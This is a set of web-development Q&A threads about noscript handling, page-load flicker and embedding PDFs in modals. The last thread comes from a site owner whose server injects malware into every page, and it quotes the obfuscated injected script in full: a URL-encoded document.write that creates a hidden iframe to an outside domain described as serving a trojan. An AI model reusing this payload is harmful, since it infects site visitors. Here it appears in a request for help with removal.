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When I try to go to Gmail and FaceBook with my JavaScript disabled, I am greeted with the following:
The content in the images is displayed in <noscript> tags, but the rest of the usual page content isn't there. The Gmail source has a few empty <iframe> elements, but the FB page is empty, save for the <noscript> element, and a couple <script> tags.
I would like to have similar behaviour for my site, but am unsure how to only load the page content if the user has JS enabled. I can put in the <noscript> element, and have a div centred on screen with a "You need JS enabled" message, but the rest of the content would still have loaded behind it.
There are a couple solutions here and here, but they only have the main content as:
display: none;
and the set it to block; via JS. But that would still show up in the source.
Can I entirely prevent loading page content when JS is disabled, and only display the "Oops, you need JS enabled" message?
Do not put the content in the first page, and just put a <script src="…"> which loads the actual contents via AJAX. Your source should then roughly follow that template:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<link rel="stylesheet" type="text/css" href="style.css" />
<script src="libraries.js"></script>
<script src="load-page-contents.js"></script>
</head>
<body>
<noscript>
This website is an interactive editor for 3D graphics or something
really complex that can't be done at all in plain HTML, and therefore
needs JavaScript.
Click here to read more about this project.
<img src="screenshot.jpg" alt="Obligatory screenshot, to compell the
user to turn on JavaScript because this looks So Cool ™." />
</body>
</html>
Think twice about it, however. Does your site really need JavaScript to work? Can't at least a dumbed-down version be displayed otherwise? There are lots of reasons to have JavaScript disabled (screen readers, search engines, security issues, easy way to disable lots of blinking flashing annoying ads)
Simply load the whole page with an AJAX request and hide the error message using Javascript. Then the error message will remain if they have Javascript disabled, and the page will be loaded if it is enabled.
Related
I am having a huge problem. I need to prevent access to non javascript users for a page on my website. I am not very technical when it comes to websites, hmtl or java ect. But I have a page that i would like non javascript users to not be able to access. I have tried lots of code from here in my header and footer such as
<noscript>
<meta http-equiv="refresh" content="0; URL=nojs/index.php">
</noscript>
but it does not work.
To put this into more detail my problem is that a host a webpage with a list of download links. There is an app (web browser) for amazon devices (android) that accesses webpages and allows you to download but it comes with javascript disabled by default.
This means that my Ads dont show and i am now getting 40TB a month bandwidth usage from people using this software which means i may have to pull the site soon as it costs more to run than the ads give back.
I think i need to either block non javascript users. Or is there a way i can make my links on that page in javascript so that none javascript users cant see or use them?
In an ideal world i would just like to display a message saying please enable javascript in settings but i have tried many header codes with no success. Any help here greatly appreciated
I tried using the meta tag inside the noscript tags like you did, and it worked fine for me. Try using an absolute link to your nojs page instead of the relative one you have. I don't know of a way to completely block nonjs users. Another option would be to use the noscript tags to hide the content of your html pages when js is disabled. This won't completely disable nonjs users from seeing your pages since if they are tech-savy they could use inspect-element to unhide the page content, but for the most part it should do a good job of preventing nonjs users from viewing your page. You can also include a no script alert. For example:
<!DOCTYPE html>
<html>
<head>
<title>
</title>
<noscript>
<style>
div.content {
display: none;
}
</style>
</noscript>
</head>
<body>
<noscript>
Please enable Javascript to view this Page
</noscript>
<div class=content>
Page Content Here
</div>
</body>
</html>
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When user login with Internet Explorer and user's javascript setting is disabled, I want to show an alert to user. I've tried to use <noscript> tags. I've changed my javascript settings (enabled to disabled) for test it but when I try it, nothing displays. How can I do it? Here are my codes below;
<script>
document.write("Hello World!")
</script>
<noscript>Sorry, your browser does not support JavaScript!</noscript>
<p>A browser without support for JavaScript will show the text inside the noscript element.</p>
This is a nice one. It's because your example its so minimal. The browser automatically wraps the <script> and <noscript> tags in <head>, which means that while the JS executes and writes "Hello world", the <noscript> tag gets hidden, because it's in the <head>.
If you manually place them in the <body> it works fine:
<html><head></head>
<body>
<script>
document.write("Hello World!")
</script>
<noscript>Sorry, your browser does not support JavaScript!</noscript>
<p>A browser without support for JavaScript will show the text inside the noscript element.</p>
</body>
</html>
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I've noticed that on the first load of some of the pages on my site, there's a quick white flash.
It doesn't seem to do this once the page content has been cached, but it's annoying during the first loads.
I tried styling all of the <html> tags black, but that doesn't seem to solve the issue. Could it be the scripts on some of my pages? (i.e. maybe analytics)
Is there anything I could do to remedy this problem?
Update: The site can be viewed here. Some pages have Javascript, but others do not, and it seems that's irrelevant, based on the results I've experienced.
OK, so it looks like this might be related to your script tag in the <head/>. Try pushing that down to just before the closing </body> tag. The document can't render until that script has completely run.
See rule 6
However, one of the other resource you're waiting on sometimes is 'home.css'. That may even be more of a problem. It's a bit of a hack, but you could try setting your background to black before even that css using an inline <style/> tag.
Try structuring the page in this order (notice the <style/>) tag;
<!doctype html>
<html>
<head>
<style>
html { background-color: black; }
</style>
...
<link href="home.css" rel="stylesheet" type="text/css">
...
</head>
<body>
...
<div id="footer">
<span class="footer_text">Copyright © 2013 Casey Kidd Music.<br />All Rights Reserved.</span>
</div>
</div>
<script>
(function(
...
'pageview');
</script>
</body>
</html>
It's possible you may still get a small flicker of white between pages, before the HTML has loaded, but this window would be pretty small now.
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I have a modal window, which contains an anchor text. When i click on this link, it must call a pdf housed somewhere else and display it in a pop up . How can I do that ?
Kindly help .
You can do this using with jQuery UI dialog, you can download JQuery ui from here Download JQueryUI
Include these scripts first inside <head> tag
<link href="css/smoothness/jquery-ui-1.9.0.custom.css" rel="stylesheet">
<script language="javascript" type="text/javascript" src="jquery-1.8.2.js"></script>
<script src="js/jquery-ui-1.9.0.custom.js"></script>
JQuery code
<script language="javascript" type="text/javascript">
$(document).ready(function() {
$('#trigger').click(function(){
$("#dialog").dialog();
});
});
</script>
HTML code within <body> tag. Use an iframe to load the pdf file inside
this link
<div id="dialog" style="display:none">
<div>
<iframe src="yourpdffile.pdf"></iframe>
</div>
</div>
You can have a look at this library: https://github.com/mozilla/pdf.js it renders PDF document in a Web/HTML page
Also you can use Flash to embed the document into any HTML page like that:
<object data="your_file.pdf#view=Fit" type="application/pdf" width="100%" height="850">
<p>
It appears your Web browser is not configured to display PDF files. No worries, just click here to download the PDF file.
</p>
</object>
You can have an iframe inside the modal markup and give the src attribute of it as the link to your pdf. On click of the link you can show this modal markup.
you can use iframe within your modal form so when u open the iframe window it open inside your your modal form . i hope you are rendering to some pdf opener with some url , if u have the pdf contents simply add the contents in a div in the modal form .
The server that has my website on it also has a virus on it.
The virus injects the malicious code
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
onto EVERY single page which is served, and it is being preprocessed by Apache or something similar to add it to the end of the file.
I created a test file, with the following code:
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
</body>
</html>
It isn't pretty, but it served its purpose.
When viewing the page in my browser, I get
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
</body>
</html>
which can be viewed from www.sagamountain.com/testfile.html (warning, this page is infected)
I need to programmatically stop that div and that script from executing, as it is an iframe to a site with a trojan on it. HTML, CSS, or JS, I just need some way to prevent that JS from executing.
It is already display:none so you cannot see it, but how can I prevent the iframe from ever loading at all?
Thanks for the help! The unescape thing resolves to an iframe to http://ncccnnnc.cn/img/index.php which is clearly the source of my troubles. Don't go to that site!
EDIT: This is a followup to https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459#78459
I'm sorry that I can't answer your specific question, but I think that you're looking at this the wrong way. What you need to do is not strip out the virus-inserted html, what you need to do is talk to your web-host/sysadmin and strip out the virus.
Treating the symptoms won't cure the infection. Treating the disease, however, will also treat the symptoms as well as removing the virus.
The file that is in your server is a php file look in the comments here.
Cyber, if you have to wait on the server to be fixed by someone else, I'd say you should try ending your documents with an open <noscript> tag or open HTML comment tag.
You can't use Javascript to stop content that hasn't been rendered from doing so, unless you use document.write and one of the above tags (noscript/comment). Also you can't do anything by placing a script after, as it is already too late (the content is there already).
It is an ugly solution but should prevent your site visitors from experiencing the virus. It also makes your markup invalid, but any browser should be able to parse it and render it as you expect.
Best of luck with the server!